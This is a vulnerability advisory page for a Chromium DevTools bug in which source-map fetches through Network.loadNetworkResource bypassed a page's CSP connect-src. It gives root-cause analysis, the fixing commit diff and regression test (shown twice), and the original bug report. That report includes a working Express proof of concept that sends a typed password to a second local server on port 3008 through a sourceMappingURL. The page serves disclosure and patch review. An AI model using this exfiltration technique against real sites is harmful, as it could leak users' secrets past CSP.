Low watch CVSS 5.3 chrome Policy Bypass 📄 Reporter bug report 🔧 Commit mapped

Overview

Low
Severity
5.3
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInsufficient policy enforcement in Devtools
DescriptionInsufficient policy enforcement in Devtools
ComponentDevtools
Sub-componentPlatform>DevTools>Sources
Bug ClassPolicy Bypass
Action tierwatch — logic/policy bug — security-relevant, no memory-unsafety
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker361116749
Fix commitfe72006efbce (chromium/src) +74/-0
CWECWE-693
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CISA KEVNot listed
CreditedNoam Gaash
Reported2024-08-20 · bounty $1000 (per vendor advisory)
Fix landed2025-07-04 (public git)
Disclosed2025-09-02
Patch gap60 days — fix public in source before the advisory

Background

`Network.loadNetworkResource`
a Chrome DevTools Protocol (CDP) command, handled in content/browser/devtools/protocol/network_handler.cc, that the browser process uses to fetch a URL on behalf of a DevTools client “as” a given frame (the DevTools front-end uses it to fetch resources such as source maps).
Content Security Policy `connect-src`
the CSP directive that limits which origins a document may contact via script-initiated connections; sites rely on it, among other things, to stop injected script from sending data to attacker servers.
`RenderFrameHostCSPContext`
a browser-side network::CSPContext bound to a RenderFrameHostImpl, whose IsAllowedByCsp() checks a URL against a list of content security policies for a given CSPDirectiveName.
Source map
a JSON file named by a sourceMappingURL comment in a script or stylesheet; DevTools fetches it automatically when it processes that script, so the URL is chosen by page content.

Root Cause Analysis

The frame branch of the Network.loadNetworkResource handler in network_handler.cc (the enclosing function name is not shown in the hunk) built a URL loader factory for the target frame via URLLoaderFactoryParamsHelper::CreateForFrame() and fetched the requested gurl without consulting the frame’s Content Security Policy. Because the URL is often taken from a page-controlled sourceMappingURL, this let page-chosen requests go out “on behalf of” a frame whose connect-src policy should have blocked them, which is the bypass the commit message describes (“source map requests bypass, potentially allowing data exfiltration”).

The fix tightens the path: before the factory is created, it builds a RenderFrameHostCSPContext for frame, calls IsAllowedByCsp() with the frame’s policy_container_host()->policies().content_security_policies, CSPDirectiveName::ConnectSrc, and CHECK_ENFORCED_CSP, and if the result is not allowed it immediately sends Response::ServerError("CSP violation") and returns, so no load is started. The non-frame (worker/other target) branch is not changed; the patch only adds a TODO(mkwst): Check CSP for non-frame targets. comment there, so that path is still unchecked after this commit.

Key insight
A browser-side DevTools fetch that runs in a frame’s network context, with URLs supplied by page content, skipped the frame’s enforced connect-src policy. The fix applies the same connect-src decision the renderer would make, and refuses the request before any loader is created.

Attack Path

  1. Page sets a restrictive CSP The target site serves connect-src 'self' (as in the regression test’s page-with-csp.php), expecting that injected script cannot reach other origins.
  2. Attacker plants a source-map reference Content the attacker can inject into that page (for example via a markup/script injection that CSP otherwise contains) carries a sourceMappingURL pointing to an attacker origin, with data encoded in the URL (inferred).
  3. User opens DevTools The DevTools front-end processes the script and asks the browser to fetch the source map through Network.loadNetworkResource with the page’s frameId.
  4. Fetch bypasses `connect-src` Before the patch the handler fetched the cross-origin URL anyway. The test’s cross-origin https://localhost:8443/.../source.map request, which now fails with CSP violation, previously succeeded, so the encoded data reaches the attacker’s server (inferred).

Impact Assessment

An attacker who can already inject content into a CSP-protected page can get a cross-origin request sent from the browser process’s DevTools loader despite the page’s connect-src, which can leak data the CSP was meant to contain. It does not by itself give code execution or cross-origin read access. Preconditions are significant: the victim must open DevTools on the affected page (or another CDP client must issue the command), and the attacker needs an injection point in a page whose CSP is the main barrier to exfiltration. No compromised renderer, flag, or special platform is needed. The vendor severity is low, and the supplied metadata does not report in-the-wild exploitation.

Changed Functions

FunctionChangeNotes
if
content/browser/devtools/protocol/network_handler.cc
modified

Files Changed

  • content/browser/devtools/protocol/network_handler.cc
  • third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt
  • third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js
  • third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php

Audit Directions

  • Privileged fetches on behalf of a frame
    Review browser-side loaders that use a frame’s origin, isolation info, or factory params (DevTools, extensions, prefetch, favicon/manifest fetchers) to make sure they apply the frame’s CSP and other policies when page content picks the URL.
  • Non-frame DevTools targets
    Follow up on the TODO(mkwst) path: Network.loadNetworkResource for workers and other targets that use CreateNetworkFactoryParamsForDevTools() still performs no CSP check after this patch.
  • Page-controlled URLs consumed by tooling
    Audit other DevTools front-end features that fetch URLs taken from page content (source maps, sourceURL, stylesheet imports, DWARF/symbol files), and check which origin and credentials those fetches use.
From fe72006efbce74a7a7133287a6688cc4f4bec87b Mon Sep 17 00:00:00 2001
From: Danil Somsikov <dsv@chromium.org>
Date: Fri, 04 Jul 2025 01:48:54 -0700
Subject: [PATCH] Implement `connect-src` check for `Network.loadNetworkResource`

Without this check source map requests bypass, potentially allowing data exfiltration.

Bug: 361116749
Change-Id: I3dcc3e089d4a228cc953c11d7155147bb5c2f6e0
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/6667844
Auto-Submit: Danil Somsikov <dsv@chromium.org>
Commit-Queue: Danil Somsikov <dsv@chromium.org>
Reviewed-by: Andrey Kosyakov <caseq@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1482495}
---

diff --git a/content/browser/devtools/protocol/network_handler.cc b/content/browser/devtools/protocol/network_handler.cc
index f0298c7..83676b5 100644
--- a/content/browser/devtools/protocol/network_handler.cc
+++ b/content/browser/devtools/protocol/network_handler.cc
@@ -47,6 +47,7 @@
 #include "content/browser/loader/url_loader_factory_utils.h"
 #include "content/browser/renderer_host/frame_tree_node.h"
 #include "content/browser/renderer_host/navigation_request.h"
+#include "content/browser/renderer_host/render_frame_host_csp_context.h"
 #include "content/browser/renderer_host/render_frame_host_impl.h"
 #include "content/browser/storage_partition_impl.h"
 #include "content/browser/url_loader_factory_params_helper.h"
@@ -3620,6 +3621,19 @@
       return;
     }
 
+    RenderFrameHostCSPContext csp_context(frame);
+
+    network::CSPCheckResult result = csp_context.IsAllowedByCsp(
+        frame->policy_container_host()->policies().content_security_policies,
+        network::mojom::CSPDirectiveName::ConnectSrc, gurl, gurl,
+        /*has_followed_redirect=*/false, /*source_location=*/nullptr,
+        network::CSPContext::CHECK_ENFORCED_CSP,
+        /*is_form_submission=*/false);
+    if (!result.IsAllowed()) {
+      callback->sendFailure(Response::ServerError("CSP violation"));
+      return;
+    }
+
     auto params = URLLoaderFactoryParamsHelper::CreateForFrame(
         frame, frame->GetLastCommittedOrigin(),
         frame->GetIsolationInfoForSubresources(),
@@ -3651,6 +3665,7 @@
       DevToolsAgentHostImpl::GetForId(host_id_);
   if (host) {
     // TODO(sigurds): Support dedicated workers.
+    // TODO(mkwst): Check CSP for non-frame targets.
     auto info = host->CreateNetworkFactoryParamsForDevTools();
     auto factory = CreateNetworkFactoryForDevTools(
         gurl.scheme(), host->GetProcessHost(), MSG_ROUTING_NONE, info.origin,
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt
new file mode 100644
index 0000000..55453f99
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt
@@ -0,0 +1,14 @@
+Tests for Network.loadNetworkResource with CSP
+Response for fetch with cross-origin resource (should be blocked by CSP):{
+    code : -32000
+    message : CSP violation
+}
+Response for fetch with same-origin resource (should be allowed by CSP):{
+    resource : {
+        headers : <object>
+        httpStatusCode : 200
+        stream : 1
+        success : true
+    }
+}
+
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js
new file mode 100644
index 0000000..1fc7c8e0
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js
@@ -0,0 +1,31 @@
+(async function(/** @type {import('test_runner').TestRunner} */ testRunner) {
+  const {page, session, dp} = await testRunner.startURL(
+      `http://127.0.0.1:8000/inspector-protocol/network/resources/page-with-csp.php?csp=connect-src%20'self'`,
+      `Tests for Network.loadNetworkResource with CSP`);
+
+  const {result: {frameTree}} = await dp.Page.getFrameTree();
+  const frameId = frameTree.frame.id;
+
+  async function loadResource(url, explanation) {
+    const response = await dp.Network.loadNetworkResource({
+      frameId,
+      url,
+      options: {disableCache: false, includeCredentials: false}
+    });
+    testRunner.log(response.error ?? response.result, explanation, ['headers']);
+  }
+
+  const crossOriginUrl =
+      `https://localhost:8443/inspector-protocol/network/resources/source.map`;
+  await loadResource(
+      crossOriginUrl,
+      `Response for fetch with cross-origin resource (should be blocked by CSP):`);
+
+  const sameOriginUrl =
+      `http://127.0.0.1:8000/inspector-protocol/network/resources/source.map`;
+  await loadResource(
+      sameOriginUrl,
+      `Response for fetch with same-origin resource (should be allowed by CSP):`);
+
+  testRunner.completeTest();
+})
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php b/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php
new file mode 100644
index 0000000..8b7cc59
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php
@@ -0,0 +1,14 @@
+<?php
+$csp = $_GET['csp'];
+header("content-security-policy: $csp");
+?>
+
+<!DOCTYPE html>
+<html lang="en">
+  <head>
+    <meta charset="utf-8">
+    <title>Page with restrictive CSP</title>
+  </head>
+  <body>
+  </body>
+</html>
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt
new file mode 100644
index 0000000..55453f99
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp-expected.txt
@@ -0,0 +1,14 @@
+Tests for Network.loadNetworkResource with CSP
+Response for fetch with cross-origin resource (should be blocked by CSP):{
+    code : -32000
+    message : CSP violation
+}
+Response for fetch with same-origin resource (should be allowed by CSP):{
+    resource : {
+        headers : <object>
+        httpStatusCode : 200
+        stream : 1
+        success : true
+    }
+}
+
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js
new file mode 100644
index 0000000..1fc7c8e0
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/load-network-resource-csp.js
@@ -0,0 +1,31 @@
+(async function(/** @type {import('test_runner').TestRunner} */ testRunner) {
+  const {page, session, dp} = await testRunner.startURL(
+      `http://127.0.0.1:8000/inspector-protocol/network/resources/page-with-csp.php?csp=connect-src%20'self'`,
+      `Tests for Network.loadNetworkResource with CSP`);
+
+  const {result: {frameTree}} = await dp.Page.getFrameTree();
+  const frameId = frameTree.frame.id;
+
+  async function loadResource(url, explanation) {
+    const response = await dp.Network.loadNetworkResource({
+      frameId,
+      url,
+      options: {disableCache: false, includeCredentials: false}
+    });
+    testRunner.log(response.error ?? response.result, explanation, ['headers']);
+  }
+
+  const crossOriginUrl =
+      `https://localhost:8443/inspector-protocol/network/resources/source.map`;
+  await loadResource(
+      crossOriginUrl,
+      `Response for fetch with cross-origin resource (should be blocked by CSP):`);
+
+  const sameOriginUrl =
+      `http://127.0.0.1:8000/inspector-protocol/network/resources/source.map`;
+  await loadResource(
+      sameOriginUrl,
+      `Response for fetch with same-origin resource (should be allowed by CSP):`);
+
+  testRunner.completeTest();
+})
diff --git a/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php b/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php
new file mode 100644
index 0000000..8b7cc59
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/inspector-protocol/network/resources/page-with-csp.php
@@ -0,0 +1,14 @@
+<?php
+$csp = $_GET['csp'];
+header("content-security-policy: $csp");
+?>
+
+<!DOCTYPE html>
+<html lang="en">
+  <head>
+    <meta charset="utf-8">
+    <title>Page with restrictive CSP</title>
+  </head>
+  <body>
+  </body>
+</html>
Loading diff…

Original Bug Report

reported by no...@applitools.com

CSP doesn't block sourceMappingURL

VULNERABILITY DETAILS

The vulnerability allows source maps from unauthorized domains to be loaded despite Content Security Policy restrictions, potentially exposing sensitive information.

VERSION

  • Chrome Version: 127.0.6533.99 (Official Build) snap (64-bit) stable
  • Operating System: Ubuntu 24.04 LTS (Codename: noble)

REPRODUCTION CASE

  1. tested on node (20.16.0) npm (10.8.1) and express (4.19.2)
  2. save the code below as server.js
  3. execute node server.js
  4. go to http://localhost:3007/
  5. enter a secret phrase to the password field
  6. open the devtool

expected behavior:

The browser should not make any cross-origin requests. The source map should not be loaded, and an error message should appear in the console.

actual behavior:

The browser transmit the secret passphrase to a third party once the developers tool is opened.

import express from 'express'

const app = express()
const app2 = express()

app.get('/', (req, res) => {
    console.log('index requested')
    res.send(`
        <meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline';connect-src 'self';">
        <input type="password" onkeyup="f(this.value)"/>
        <script>
            function f(val) {
                document.getElementsByTagName('style')[0].innerHTML = \`
                    /*# sourceMappingURL=http://localhost:3008/styles.css.map/\${val} */
                \`
            }
        </script>
        <style></style>
    `)
})

app2.get('/styles.css.map/:id', (req, res) => {
    console.log(req.params.id, 'requested')
    res.send(``)
})

app.listen(3007, () => console.log('Server is running on port 3007'))
app2.listen(3008, () => console.log('Server is running on port 3008'))

CREDIT INFORMATION

Reporter credit: Noam Gaash

View on issue tracker